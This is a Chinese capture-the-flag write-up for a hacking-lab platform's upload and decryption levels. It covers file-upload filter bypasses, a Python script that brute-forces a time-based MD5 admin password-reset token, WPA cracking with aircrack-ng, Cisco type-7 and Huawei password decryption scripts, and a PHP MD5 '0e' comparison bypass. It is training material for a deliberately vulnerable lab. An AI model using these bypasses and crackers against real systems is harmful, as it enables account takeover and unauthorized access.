

网络信息安全攻防学习平台 上传，解密通关writeup

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原文链接: <http://www.cnblogs.com/Elope/p/6525075.html>

版权

上传关

[1]

查看源代码，发现JS代码。提交时onclick进行过验证。

ctrl+shift+i 打开开发者工具，将conclck修改为 return True，即可以上传

上传php文件，拿到KEY

key is IKHJL9786#\$\$%^&

[2]

查看源代码，发现JS文件。发现是经过服务器端验证。

伪造一张jpg图片进行上传，利用burp截断，将文件名改为PHP就拿到key

key is 76tyuhjsdvytig#\$\$%^&

[3]

查看源代码，发现JS代码。

```
var filename=document.getElementById("file");
```

```
var str=filename.value.split(".");
```

```
var ext=str[1];
```

发现只是验证了文件名后第一个后缀，进行 file.jpg.php进行绕过

得到key key is 76tyuh12OKKytig#\$\$%^&

解密关

[1] 以管理员身份登录系统

直接点重置密码，发现返回空白的页面。查看源代码，发现tip1，验证自己思路没错。

在url中发现参数sukey,长度为32位，对其进行MD5解密。发觉以下规律

payload:

```
import requests
```

```
import hashlib
```

```
import time
```

```
se = requests.session()
```

```
headers = {'Cookie': 'PHPSESSID=25443616fac3435849c2f3e77b54a4ca'}
```

```
while 1:
```

```
sukey = hashlib.new('md5', str(int(time.time()))).hexdigest()
```

```
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
```

```
r = se.get(url, headers=headers)
```

```
if r.content:
```

```
print r.content
```

```
break
```

```
else:
```

```
print 'Cracking: ' + sukey
```

拿到key

[2] 邂逅对门的妹纸

一个包，打开后发现是经过加密的。需要解密。

根据提示做一个字典

```
with open("password.txt","w") as f:
```

```
for year in range(1980,2015):
```

```
for month in range(1,13):
```

```
for day in range(1,32):
```

```
f.write("%d%02d%02d\n" % (year,month,day))
```

开始暴力破解。

```
root@kali:~/Desktop# aircrack-ng wifi-crack.cap
```

```
Opening wifi-crack.cap
```

```
Read 17812 packets.
```

```
# BSSID ESSID Encryption
```

```
1 54:E6:FC:53:E6:D0 hackinglab WPA (1 handshake)
```

```
Choosing first network as target.
```

```
Opening wifi-crack.cap
```

```
Please specify a dictionary (option -w).
```

```
Quitting aircrack-ng...
```

发现BSSID,ESSID

```
root@kali:~/Desktop# aircrack-ng -e hackinglab -b 54:E6:FC:53:E6:D0 -w password.txt wifi-crack.cap
```

```
Opening wifi-crack.cap
```

```
Reading packets, please wait...
```

```
Aircrack-ng 1.2 beta3
```

```
[00:00:05] 5436 keys tested (954.82 k/s)
```

```
KEY FOUND! [ 19940808 ]
```

```
Master Key : 92 D0 BF EB 09 69 E7 29 78 85 B4 48 64 20 D9 E9
```

```
17 B2 70 20 1B E7 A9 B9 06 27 C6 65 B0 5B 92 FA
```

```
Transient Key : 58 1D E4 36 66 67 BA 5A 76 17 A7 75 34 27 C4 3F
```

```
BA D0 1A 5C 43 6E C1 87 FA A6 07 84 17 AA 1B A8
```

```
8F 24 B4 6D 54 39 CD 0B BA BA 95 63 43 A7 6C E1
```

```
4D 1A C1 17 23 47 F1 3D 9A 8C 42 24 5D 8E 24 69
```

```
EAPOL HMAC : 02 C8 6C C3 C6 51 2D DC CA 68 ED 8A 5C 9D CE A6
```

得到密码，MD5加密提交

[3]万恶的Cisco

直接安装 cisco_crack进行破解

```
a = "02070D48030F1C294940041801181C0C140D0A0A20253A3B"
```

```
crack=cisco_decrypt.CiscoPassword()
```

```
crack.decrypt(a)
```

```
S = 2
```

```
S = 3
```

```
S = 4
```

```
S = 5
```

```
S = 6
```

```
S = 7
```

```
S = 8
```

```
S = 9
```

```
S = 10
```

```
S = 11
```

```
S = 12
```

```
S = 13
```

```
S = 14
```

```
S = 15
```

```
S = 16
```

```
S = 17
```

```
S = 18
```

```
S = 19
```

```
S = 20
```

```
S = 21
```

```
S = 22
```

```
S = 23
```

```
S = 24
```

```
'aishishenmadongxi@Admin'
```

[4]万恶的加密

提示华为的交换机，谷歌搜一下，看到一篇文章，可惜 Windows 下跑不了这个脚本，放到 Kali 下，成功拿到 key。

```
# coding=utf-8
```

```
from Crypto.Cipher import DES
```

```
def decode_char(c):
```

```
    if c == 'a':
```

```
        r = '?'
```

```
    else:
```

```
        r = c
```

```
    return ord(r) - ord('!')
```

```
def ascii_to_binary(s):
```

```
    assert len(s) == 24
```

```
    out = [0]*18
```

```
    i = 0
```

```
    j = 0
```

```

for i in range(0, len(s), 4):
    y = decode_char(s[i + 0])
    y = (y << 6) & 0xfffff
    k = decode_char(s[i + 1])

    y = (y | k) & 0xfffff
    y = (y << 6) & 0xfffff
    k = decode_char(s[i + 2])

    y = (y | k) & 0xfffff
    y = (y << 6) & 0xfffff
    k = decode_char(s[i + 3])
    y = (y | k) & 0xfffff

    out[j+2] = chr(y & 0xff)
    out[j+1] = chr((y>>8) & 0xff)
    out[j+0] = chr((y>>16) & 0xff)

    j += 3
return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\x00")

if __name__ == '__main__':
    miwen = "aK9Q4lJ#[Q=^Q`MAF4<1!!"
    print u'明文' + decrypt_password(miwen)

```

[5] 喜欢泡网吧的小明
不会

[6]异常数据

发现加密数据后面有个=, 明显的base64加密。但是都是大写, 很有可能全部转为大写

payload

```

from base64 import *
import re

```

```

def dfs(res, arr, pos):
    res.append("".join(arr))
    i = pos
    for i in range(i, len(arr)):
        if arr[i] <= 'Z' and arr[i] >= 'A':
            arr[i] = arr[i].lower()
            dfs(res, arr, i + 1)
            arr[i] = arr[i].upper()

```

```

arr = list('AGV5IULSB3ZLVSE=')
res = []

```

```
dfs(res, arr, 0)
```

```
res_decode = map(b64decode, res)
```

```
for i in res_decode:  
if re.findall(r'\\x', repr(i)):  
continue  
else:  
print i  
hey!IRovKU!  
hey!IRoveU!
```

[7]md5真的能碰撞嘛？

```
<?php  
$flag=FLAG;  
if(isset($_POST["password"])){  
$password=$_POST['password'];  
$rootadmin="!1793422703!";  
if($password==$rootadmin){die("Please do not attack admin account!");}
```

```
if(md5($password)==md5($rootadmin)){  
echo $flag;  
}else{  
die("Password Error!");  
}  
}  
?>
```

```
>>> hashlib.md5("!1793422703!").hexdigest()  
'0e332932043729729062996282883873'
```

开头为0e最后值显示为0.

直接百度“MD5,0e” post提交 password=s214587387a拿到flag

[8]小明爱上了一个搞硬件的小姑凉

改为txt文件。发现

serialization::archive 10 25 SaleaeAsyncSerialAnalyzer 0 20 13973230967232177885 1 1 9600 8 1 0 1 0 0

Async Serial Analyzer 百度搜索为一文件名。

查看其它writeup，为下载该软件，打开就可以拿到flag

[9]

没思路，以后补充

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